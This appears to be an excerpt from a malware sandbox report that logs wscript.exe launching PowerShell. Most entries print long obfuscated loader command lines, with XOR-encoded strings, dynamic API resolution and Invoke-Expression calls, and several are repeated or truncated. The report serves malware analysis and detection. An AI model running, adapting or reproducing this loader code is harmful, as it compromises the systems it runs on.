Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$badeanstalt = """refliuefnbrcextapihjostnbu hyhfltdubsp su{hi cl an pa bapinacarziasomvo(cz[pasdetalrcaiennougde]ca`$udhbasud)fr;ag at ud ho af`$usbeuyaktnoepasbo sa=sn thnanenowbo-muogrbepjloeddcbethu tobpayvrtseela[al]po bd(me`$vahtnsde.relpeenonvegmatunhsl re/sk di2gi)ko;un ge ma is gefflolerwi(fe`$haiop=om0pe;fu ma`$phido ge-maltitse fa`$syhbesba.dolunedenscgdotunhca;do un`$reiom+re=be2du)va{fl pl re ad ot ta sp sk ho`$dobfeydetleegassm[fi`$geiaf/na2de]od ge=sa tr[recskounnlivkresirortbr]il:me:datdiodibboypatglesu(po`$ushhesph.bosfruafbnesmatunrpriponungla(il`$stipa,su jo2po)ca,bl af1sn6du)no;ma te un`$mibkryprtchegtspa[du`$syiun/tr2fi]mi ta=ha ah(fo`$sibbiyintopeovsol[kb`$spihe/ar2fr]fe ci-frbrexenophrti hy2st2re9la)lo;so le de ca vr}re un[muskutsqrlaiapnnogbl]pe[maschyinsdetpaenemst.vatbaekaxibtbi.reemanplcgeourdprimonprgsy]si:ko:raaudsakcwaifoisa.mogbaebuttasgutunrfriulningba(ba`$fobseypittheansid)li;bl}ga`$dehbrdsaluncir0sk=krhoutbebaf ry'bebre6te9spcbe9be6pr9gr1js8et0am8in8secenbca8co1in8ta9pr8cr9de'sy;lu`$plhrvdaflfocin1de=trhditzibve un'feakr8re8tacde8sl6gr9ag7is8xyasv9sp6sh8caahe8de3bl9an1unctibtebab2ha8smcur8subcudbu6lkdti7macmebsebde0as8trbch9ah6me8to4pr8ne3fr8in0boarebra8st4ti9ve1un8apcop9dk3bi8co0suacl8an8en0un9in1mo8dedan8peaud8wu1ra9ca6ba'fo;el`$lohbldnolsucbo2ne=tnhbltunbsp ne'siafi2sk8ti0di9ul1tyblo5ob9fi7no8byace8an6poala4da8bi1ka8im1wh9gt7lo8ge0rr9br6br9di6ar'fl;gr`$cyheidarlblcpr3pr=ovhentnobco ta'lebun6re9upcgu9sn6gn9fa1br8mo0da8pr8lycovbbebwa7sk9fo0sa8mabde9ev1af8kacba8oc8sc8he0nocobbfoatocde8sibsi9se1be8or0se9no7fl8huaou9ty5rabco6kr8sk0dd9se7as9ri3le8lacbr8we6ou8di0oc9be6dackabteaundpu8se4st8isber8si1ja8ng9li8sp0fobdi7ci8ex0vi8st3sl'sk;de`$flhpedjaljdcti4ki=klhsttprbfo ge'th9fi6af9sy1af9re7he8crcwi8fobst8ov2be'bl;al`$anhindaclfocbu5ta=ovhdetwhbun ca'udade2sy8pi0in9af1caari8ha8prano8sl1py9du0gn8ki9ud8po0muaundne8no4ud8epbac8vi1bj8sp9st8op0an'af;se`$orhbydgrlcicfo6hm=cehsktinbha di'fabin7apbin1wabbe6em9re5sa8no0wo8ai6mi8micba8pa4sh8el9noastbfo8un4ko8om8lo8ro0stcfo9chcco5syajudag8afcco8in1ps8in0frami7se9lactabbr6er8ticap8hu2pocep9suclo5mibre5ps9no0wa8ko7st8sa9po8fuccr8eg6no'in;hu`$inhcadudlrocst7mi=rehprtrobze da'nebpa7ri9di0un8chbgn9ea1ku8skcme8pr8su8di0ovcka9mocsa5swaud8un8bl4si8dibly8un4ur8gl2fa8fi0wh8ne1sc'wa;dd`$dehopdselnocaz8tr=byhditsibpy ev'avbun7di8tr0om8in3ma8fr9pr8ud0pr8fe6tr9br1sl8mi0gr8in1biave1hy8sv0ur8hv9pl8bl0kl8ph2ni8se4fa9fy1xy8ch0na'sa;dr`$cohafddolvocen9nd=pihkotasbef in'psaprcgl8mubfeata8fo8kp0un8re8co8uname9bl7at9glcfoafr8ny8elami8ek1fy9st0ek8mi9he8vr0me're;sv`$resactinykarrekgoeartunrhynwaemu0ov=inhaltetbbo sk'skade8sh9decprash1ri8sc0va8re9ko8co0sc8da2st8af4by9sy1mi8af0subho1st9fecfl9an5ma8ob0cl'tr;fo`$besbatdiyanrsukreewatoprsunthest1ch=ashbetlibsk le'spama6hs8mo9no8da4ha9sa6ve9po6stcun9kocne5enbsq5pi9st0lo8rn7ch8tw9ud8brchy8fo6uncfu9rocph5prbpa6tm8fe0mi8or4bl8pr9ra8fa0pr8us1glcly9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function htb { param([string]$hs); $bytes = new-object byte[] ($hs.length / 2); for($i=0; $i -lt $hs.length; $i+=2){ $bytes[$i/2] = [convert]::tobyte($hs.substring($i, 2), 16); $bytes[$i/2] = ($bytes[$i/2] -bxor 229); } [string][system.text.encoding]::ascii.getstring($bytes);}$hdlc0=htb 'b69c96918088cb818989';$hdlc1=htb 'a88c86978a968a8391cbb28c8bd6d7cbb08b96848380ab84918c9380a880918d8a8196';$hdlc2=htb 'a28091b5978a86a4818197809696';$hdlc3=htb 'b69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083';$hdlc4=htb '9691978c8b82';$hdlc5=htb 'a28091a88a81908980ad848b818980';$hdlc6=htb 'b7b1b69580868c8489ab848880c9c5ad8c8180a79cb68c82c9c5b59087898c86';$hdlc7=htb 'b7908b918c8880c9c5a8848b84828081';$hdlc8=htb 'b78083898086918081a180898082849180';$hdlc9=htb 'ac8ba880888a979ca88a81908980';$styrketrne0=htb 'a89ca180898082849180b19c9580';$styrketrne1=htb 'a689849696c9c5b59087898c86c9c5b68084898081c9c5a48b968ca689849696c9c5a490918aa689849696';$styrketrne2=htb 'ac8b938a8e80';$styrketrne3=htb 'b59087898c86c9c5ad8c8180a79cb68c82c9c5ab8092b6898a91c9c5b38c9791908489';$styrketrne4=htb 'b38c9791908489a489898a86';$styrketrne5=htb '8b91818989';$styrketrne6=htb 'ab91b5978a91808691b38c9791908489a880888a979c';$styrketrne7=htb 'aca0bd';$styrketrne8=htb 'b9';function fkp {param ($v_m, $v_p) ;$leucifer0 =htb 'c193908b88c5d8c5cdbea49595a18a88848c8bb8dfdfa6909797808b91a18a88848c8bcba28091a49696808887898c8096cdccc599c5b28d809780c8aa878f808691c59ec5c1bacba2898a878489a49696808887899ca684868d80c5c8a48b81c5c1bacba98a8684918c8a8bcbb695898c91cdc1b6919c978e8091978b80ddccbec8d4b8cba09490848996cdc1ad818986d5ccc598cccba28091b19c9580cdc1ad818986d4cc';&($styrketrne7) $leucifer0;$leucifer5 = htb 'c1938497ba829584c5d8c5c193908b88cba28091a880918d8a81cdc1ad818986d7c9c5beb19c9580beb8b8c5a5cdc1ad818986d6c9c5c1ad818986d1cccc';&($styrketrne7) $leucifer5;$leucifer1 = htb '97809190978bc5c1938497ba829584cbac8b938a8e80cdc18b908989c9c5a5cdbeb69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083b8cdab8092c8aa878f808691c5b69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083cdcdab8092c8aa878f808691c5ac8b91b59197ccc9c5cdc193908b88cba28091a880918d8a81cdc1ad818986d0cccccbac8b938a8e80cdc18b908989c9c5a5cdc193ba88ccccccccc9c5c193ba95cccc';&($styrketrne7) $leucifer1;}function gdt {param ([parameter(position = 0, mandatory = $true)] [type[]] $var_parameters,[parameter(position = 1)] [type] $vrt = [void]);$leucifer2 = htb 'c1b3b1a7c5d8c5bea49595a18a88848c8bb8dfdfa6909797808b91a18a88848c8bcba180838c8b80a19c8b84888c86a49696808887899ccdcdab8092c8aa878f808691c5b69c96918088cbb78083898086918c8a8bcba49696808887899cab848880cdc1ad818986ddccccc9c5beb69c96918088cbb78083898086918c8a8bcba0888c91cba49696808887899ca7908c89818097a48686809696b8dfdfb7908bcccba180838c8b80a19c8b84888c86a88a81908980cdc1ad818986dcc9c5c
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$damspils = """refgrukonnacsktdoikloutnhe grhshtpubmi mi{g ud ho pr hvpflarurnoavamso(st[desbotorrmoiannbogph]di`$hihstsbl)ro;pa ni vn ra sa`$inbvoyuntalesisbe sp=af unnbregrwkr-byocabomjcyeuncbytor prbglyfotprest[be]av fa(fo`$alhdesst.milquerinpegbathahge te/un ev2me)ta;sm op fo st chfmookurun(sc`$haidr=di0pr;is ly`$haipo sn-ovlkitco dy`$flhspspe.gylskeoknbrgcatsahal;ko sp`$deitr+da=sk2ak)la{ma sp wh ko gu va st ba pt`$prbudysttauebesur[hy`$odist/kf2ar]re ka=de ku[abcfootonpavtoeudrcotfu]je:bo:sptstoskbglygrtpreur(su`$uihdesno.casprucobovspotwerhyilintrgcu(st`$maima,le di2my)in,pa pa1az6no)ju;co ba rn`$gabopytitstebosdi[au`$eliad/as2ma]pa ve=tr sh(ci`$spbaaytetoxebosin[ra`$maiom/ba2am]bo do-tibdixglomorpa en2fr0ba1om)he;au vg re mr as}mi mi[suskktturspifanmagov]en[grsinyhyscltcaestmin.sttpoeudxuntko.reeafnthcunotrdariunnregta]be:ka:ovaslstrcpaiexibr.digsaehatmisoutalrspitansugbi(me`$elbinyettinemassu)ci;by}mi`$inrhaegrcovagilsycteioptrhrriahitdieme0pi=lihomtexbov sn'ho9thasnbvi0vabaaarabcidplacocgyavo4opein7weakodpeaex5opafr5cu'bi;ge`$emrafebycdiaemluncheiaptrirexahetstebe1lb=guhdatgebsk le'di8rg4lyapr0inaviaspbrebboaco6sibslakoafi6scabrfmiblidsiemo7be9laeunast0biako7wrfcaaunfstbhoech7ra9chcpaabe7skbadapaatr8huakefskadockn8sk7maapr8robcrdfoape0meblafscajucno8te4boarecspbdiddeaun1biati6tuawedhebilari'im;ga`$horisemiccaachlpocfoitrtberdeafltfoexx2ma=ruhmetovbno pi'ru8lyeraaobcmybandun9in9anbidbbaahy6wiaspaun8pa8joabidflasvdfabdabciabichabjaaprbanafo'ju;sa`$mtrthehichyaunlcycseidetnorsnaebtteedy3ge=urhmatphbbu ex'si9adabebna0olbmiaskbbodbramucunaru4hoech7be9sybfobuscopaun7fabundspaop0haaan4kiarecsresm7ga8ro0doagl7tibfodglasicyobsubdeajo6flbai9af9maakiaspcsabfjbgabfrfbnasw0ovaweacuatectoblaaouefo7sa8se1inati8spaec7deafodsaaop5foaalcgi9cybfiareckladrffe'ko;be`$tormaeprcnoainlrecetimatinrwiakotaleex4ga=fohtitbabwe un'ovbtrahebindilbpybfaaev0koabe7amasteun'fo;co`$skrseevacobabrlincryidetgrrwhachtfoera5ba=cchsptanbpr au'in8vgefnapacypbmodom8kl4raamu6deacodhubhicsnahy5loagecud8th1trafl8inaen7taaundbuael5afakacre'un;af`$gardeebocmyamelmackvioptmirheatrtpaesa6pl=hehomtkibul ea'ku9svbub9lidge9neasubfe9foanaclaainaheafy0foakh8caatr5un8to7flaen8koahe4doabicdiebl5hieoi9ha8po1maafl0alataddiacicaf8gibspbca0ra9buaduaae0udacaesjetr5goeha9op9ma9stbexcwoastbkrarn5beafl0amaaraaf'uk;jo`$terbaerecnaaholdrcjeiomtimrouanotsoeko7re=suhxytrubta tr'na9libfobscchuade7aabgrdjuaca0foagi4anarecgleyo5maeka9or8mi4deain8moasj7euath8fuafoeimamecunabedgi'ty;do`$terflevacinameluocpuiovtwirleakntmnean8st=tihpatpabst st'tn9libchanoclyajoflyaas5diafacviadmabobcadopalvcgaahidpr8hadvaapocovapo5taanoccraprescaci8mebapdnoakacly'st;un`$smrfiesicseaseldicpaivatrarteapotreedr9ov=mehdotsibst ca'ta8os0glano7ro8ch4peatrcreaop4beast6aabaabilbal0en8st4hoafe6yearadlsbexcunaun5prapocde'fo;ro`$stdnoegomfgasugcynkiereteviamzpaalmbblludepl0co=pahaltagbki ma'ba8dr4nobsy0sa8todhuafrcteat
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$badeanstalt = """refliuefnbrcextapihjostnbu hyhfltdubsp su{hi cl an pa bapinacarziasomvo(cz[pasdetalrcaiennougde]ca`$udhbasud)fr;ag at ud ho af`$usbeuyaktnoepasbo sa=sn thnanenowbo-muogrbepjloeddcbethu tobpayvrtseela[al]po bd(me`$vahtnsde.relpeenonvegmatunhsl re/sk di2gi)ko;un ge ma is gefflolerwi(fe`$haiop=om0pe;fu ma`$phido ge-maltitse fa`$syhbesba.dolunedenscgdotunhca;do un`$reiom+re=be2du)va{fl pl re ad ot ta sp sk ho`$dobfeydetleegassm[fi`$geiaf/na2de]od ge=sa tr[recskounnlivkresirortbr]il:me:datdiodibboypatglesu(po`$ushhesph.bosfruafbnesmatunrpriponungla(il`$stipa,su jo2po)ca,bl af1sn6du)no;ma te un`$mibkryprtchegtspa[du`$syiun/tr2fi]mi ta=ha ah(fo`$sibbiyintopeovsol[kb`$spihe/ar2fr]fe ci-frbrexenophrti hy2st2re9la)lo;so le de ca vr}re un[muskutsqrlaiapnnogbl]pe[maschyinsdetpaenemst.vatbaekaxibtbi.reemanplcgeourdprimonprgsy]si:ko:raaudsakcwaifoisa.mogbaebuttasgutunrfriulningba(ba`$fobseypittheansid)li;bl}ga`$dehbrdsaluncir0sk=krhoutbebaf ry'bebre6te9spcbe9be6pr9gr1js8et0am8in8secenbca8co1in8ta9pr8cr9de'sy;lu`$plhrvdaflfocin1de=trhditzibve un'feakr8re8tacde8sl6gr9ag7is8xyasv9sp6sh8caahe8de3bl9an1unctibtebab2ha8smcur8subcudbu6lkdti7macmebsebde0as8trbch9ah6me8to4pr8ne3fr8in0boarebra8st4ti9ve1un8apcop9dk3bi8co0suacl8an8en0un9in1mo8dedan8peaud8wu1ra9ca6ba'fo;el`$lohbldnolsucbo2ne=tnhbltunbsp ne'siafi2sk8ti0di9ul1tyblo5ob9fi7no8byace8an6poala4da8bi1ka8im1wh9gt7lo8ge0rr9br6br9di6ar'fl;gr`$cyheidarlblcpr3pr=ovhentnobco ta'lebun6re9upcgu9sn6gn9fa1br8mo0da8pr8lycovbbebwa7sk9fo0sa8mabde9ev1af8kacba8oc8sc8he0nocobbfoatocde8sibsi9se1be8or0se9no7fl8huaou9ty5rabco6kr8sk0dd9se7as9ri3le8lacbr8we6ou8di0oc9be6dackabteaundpu8se4st8isber8si1ja8ng9li8sp0fobdi7ci8ex0vi8st3sl'sk;de`$flhpedjaljdcti4ki=klhsttprbfo ge'th9fi6af9sy1af9re7he8crcwi8fobst8ov2be'bl;al`$anhindaclfocbu5ta=ovhdetwhbun ca'udade2sy8pi0in9af1caari8ha8prano8sl1py9du0gn8ki9ud8po0muaundne8no4ud8epbac8vi1bj8sp9st8op0an'af;se`$orhbydgrlcicfo6hm=cehsktinbha di'fabin7apbin1wabbe6em9re5sa8no0wo8ai6mi8micba8pa4sh8el9noastbfo8un4ko8om8lo8ro0stcfo9chcco5syajudag8afcco8in1ps8in0frami7se9lactabbr6er8ticap8hu2pocep9suclo5mibre5ps9no0wa8ko7st8sa9po8fuccr8eg6no'in;hu`$inhcadudlrocst7mi=rehprtrobze da'nebpa7ri9di0un8chbgn9ea1ku8skcme8pr8su8di0ovcka9mocsa5swaud8un8bl4si8dibly8un4ur8gl2fa8fi0wh8ne1sc'wa;dd`$dehopdselnocaz8tr=byhditsibpy ev'avbun7di8tr0om8in3ma8fr9pr8ud0pr8fe6tr9br1sl8mi0gr8in1biave1hy8sv0ur8hv9pl8bl0kl8ph2ni8se4fa9fy1xy8ch0na'sa;dr`$cohafddolvocen9nd=pihkotasbef in'psaprcgl8mubfeata8fo8kp0un8re8co8uname9bl7at9glcfoafr8ny8elami8ek1fy9st0ek8mi9he8vr0me're;sv`$resactinykarrekgoeartunrhynwaemu0ov=inhaltetbbo sk'skade8sh9decprash1ri8sc0va8re9ko8co0sc8da2st8af4by9sy1mi8af0subho1st9fecfl9an5ma8ob0cl'tr;fo`$besbatdiyanrsukreewatoprsunthest1ch=ashbetlibsk le'spama6hs8mo9no8da4ha9sa6ve9po6stcun9kocne5enbsq5pi9st0lo8rn7ch8tw9ud8brchy8fo6uncfu9rocph5prbpa6tm8fe0mi8or4bl8pr9ra8fa0pr8us1glcly9	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function htb { param([string]$hs); $bytes = new-object byte[] ($hs.length / 2); for($i=0; $i -lt $hs.length; $i+=2){ $bytes[$i/2] = [convert]::tobyte($hs.substring($i, 2), 16); $bytes[$i/2] = ($bytes[$i/2] -bxor 229); } [string][system.text.encoding]::ascii.getstring($bytes);}$hdlc0=htb 'b69c96918088cb818989';$hdlc1=htb 'a88c86978a968a8391cbb28c8bd6d7cbb08b96848380ab84918c9380a880918d8a8196';$hdlc2=htb 'a28091b5978a86a4818197809696';$hdlc3=htb 'b69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083';$hdlc4=htb '9691978c8b82';$hdlc5=htb 'a28091a88a81908980ad848b818980';$hdlc6=htb 'b7b1b69580868c8489ab848880c9c5ad8c8180a79cb68c82c9c5b59087898c86';$hdlc7=htb 'b7908b918c8880c9c5a8848b84828081';$hdlc8=htb 'b78083898086918081a180898082849180';$hdlc9=htb 'ac8ba880888a979ca88a81908980';$styrketrne0=htb 'a89ca180898082849180b19c9580';$styrketrne1=htb 'a689849696c9c5b59087898c86c9c5b68084898081c9c5a48b968ca689849696c9c5a490918aa689849696';$styrketrne2=htb 'ac8b938a8e80';$styrketrne3=htb 'b59087898c86c9c5ad8c8180a79cb68c82c9c5ab8092b6898a91c9c5b38c9791908489';$styrketrne4=htb 'b38c9791908489a489898a86';$styrketrne5=htb '8b91818989';$styrketrne6=htb 'ab91b5978a91808691b38c9791908489a880888a979c';$styrketrne7=htb 'aca0bd';$styrketrne8=htb 'b9';function fkp {param ($v_m, $v_p) ;$leucifer0 =htb 'c193908b88c5d8c5cdbea49595a18a88848c8bb8dfdfa6909797808b91a18a88848c8bcba28091a49696808887898c8096cdccc599c5b28d809780c8aa878f808691c59ec5c1bacba2898a878489a49696808887899ca684868d80c5c8a48b81c5c1bacba98a8684918c8a8bcbb695898c91cdc1b6919c978e8091978b80ddccbec8d4b8cba09490848996cdc1ad818986d5ccc598cccba28091b19c9580cdc1ad818986d4cc';&($styrketrne7) $leucifer0;$leucifer5 = htb 'c1938497ba829584c5d8c5c193908b88cba28091a880918d8a81cdc1ad818986d7c9c5beb19c9580beb8b8c5a5cdc1ad818986d6c9c5c1ad818986d1cccc';&($styrketrne7) $leucifer5;$leucifer1 = htb '97809190978bc5c1938497ba829584cbac8b938a8e80cdc18b908989c9c5a5cdbeb69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083b8cdab8092c8aa878f808691c5b69c96918088cbb7908b918c8880cbac8b9180978a95b68097938c868096cbad848b818980b78083cdcdab8092c8aa878f808691c5ac8b91b59197ccc9c5cdc193908b88cba28091a880918d8a81cdc1ad818986d0cccccbac8b938a8e80cdc18b908989c9c5a5cdc193ba88ccccccccc9c5c193ba95cccc';&($styrketrne7) $leucifer1;}function gdt {param ([parameter(position = 0, mandatory = $true)] [type[]] $var_parameters,[parameter(position = 1)] [type] $vrt = [void]);$leucifer2 = htb 'c1b3b1a7c5d8c5bea49595a18a88848c8bb8dfdfa6909797808b91a18a88848c8bcba180838c8b80a19c8b84888c86a49696808887899ccdcdab8092c8aa878f808691c5b69c96918088cbb78083898086918c8a8bcba49696808887899cab848880cdc1ad818986ddccccc9c5beb69c96918088cbb78083898086918c8a8bcba0888c91cba49696808887899ca7908c89818097a48686809696b8dfdfb7908bcccba180838c8b80a19c8b84888c86a88a81908980cdc1ad818986dcc9c5c	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$damspils = """refgrukonnacsktdoikloutnhe grhshtpubmi mi{g ud ho pr hvpflarurnoavamso(st[desbotorrmoiannbogph]di`$hihstsbl)ro;pa ni vn ra sa`$inbvoyuntalesisbe sp=af unnbregrwkr-byocabomjcyeuncbytor prbglyfotprest[be]av fa(fo`$alhdesst.milquerinpegbathahge te/un ev2me)ta;sm op fo st chfmookurun(sc`$haidr=di0pr;is ly`$haipo sn-ovlkitco dy`$flhspspe.gylskeoknbrgcatsahal;ko sp`$deitr+da=sk2ak)la{ma sp wh ko gu va st ba pt`$prbudysttauebesur[hy`$odist/kf2ar]re ka=de ku[abcfootonpavtoeudrcotfu]je:bo:sptstoskbglygrtpreur(su`$uihdesno.casprucobovspotwerhyilintrgcu(st`$maima,le di2my)in,pa pa1az6no)ju;co ba rn`$gabopytitstebosdi[au`$eliad/as2ma]pa ve=tr sh(ci`$spbaaytetoxebosin[ra`$maiom/ba2am]bo do-tibdixglomorpa en2fr0ba1om)he;au vg re mr as}mi mi[suskktturspifanmagov]en[grsinyhyscltcaestmin.sttpoeudxuntko.reeafnthcunotrdariunnregta]be:ka:ovaslstrcpaiexibr.digsaehatmisoutalrspitansugbi(me`$elbinyettinemassu)ci;by}mi`$inrhaegrcovagilsycteioptrhrriahitdieme0pi=lihomtexbov sn'ho9thasnbvi0vabaaarabcidplacocgyavo4opein7weakodpeaex5opafr5cu'bi;ge`$emrafebycdiaemluncheiaptrirexahetstebe1lb=guhdatgebsk le'di8rg4lyapr0inaviaspbrebboaco6sibslakoafi6scabrfmiblidsiemo7be9laeunast0biako7wrfcaaunfstbhoech7ra9chcpaabe7skbadapaatr8huakefskadockn8sk7maapr8robcrdfoape0meblafscajucno8te4boarecspbdiddeaun1biati6tuawedhebilari'im;ga`$horisemiccaachlpocfoitrtberdeafltfoexx2ma=ruhmetovbno pi'ru8lyeraaobcmybandun9in9anbidbbaahy6wiaspaun8pa8joabidflasvdfabdabciabichabjaaprbanafo'ju;sa`$mtrthehichyaunlcycseidetnorsnaebtteedy3ge=urhmatphbbu ex'si9adabebna0olbmiaskbbodbramucunaru4hoech7be9sybfobuscopaun7fabundspaop0haaan4kiarecsresm7ga8ro0doagl7tibfodglasicyobsubdeajo6flbai9af9maakiaspcsabfjbgabfrfbnasw0ovaweacuatectoblaaouefo7sa8se1inati8spaec7deafodsaaop5foaalcgi9cybfiareckladrffe'ko;be`$tormaeprcnoainlrecetimatinrwiakotaleex4ga=fohtitbabwe un'ovbtrahebindilbpybfaaev0koabe7amasteun'fo;co`$skrseevacobabrlincryidetgrrwhachtfoera5ba=cchsptanbpr au'in8vgefnapacypbmodom8kl4raamu6deacodhubhicsnahy5loagecud8th1trafl8inaen7taaundbuael5afakacre'un;af`$gardeebocmyamelmackvioptmirheatrtpaesa6pl=hehomtkibul ea'ku9svbub9lidge9neasubfe9foanaclaainaheafy0foakh8caatr5un8to7flaen8koahe4doabicdiebl5hieoi9ha8po1maafl0alataddiacicaf8gibspbca0ra9buaduaae0udacaesjetr5goeha9op9ma9stbexcwoastbkrarn5beafl0amaaraaf'uk;jo`$terbaerecnaaholdrcjeiomtimrouanotsoeko7re=suhxytrubta tr'na9libfobscchuade7aabgrdjuaca0foagi4anarecgleyo5maeka9or8mi4deain8moasj7euath8fuafoeimamecunabedgi'ty;do`$terflevacinameluocpuiovtwirleakntmnean8st=tihpatpabst st'tn9libchanoclyajoflyaas5diafacviadmabobcadopalvcgaahidpr8hadvaapocovapo5taanoccraprescaci8mebapdnoakacly'st;un`$smrfiesicseaseldicpaivatrarteapotreedr9ov=mehdotsibst ca'ta8os0glano7ro8ch4peatrcreaop4beast6aabaabilbal0en8st4hoafe6yearadlsbexcunaun5prapocde'fo;ro`$stdnoegomfgasugcynkiereteviamzpaalmbblludepl0co=pahaltagbki ma'ba8dr4nobsy0sa8todhuafrcteat	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk 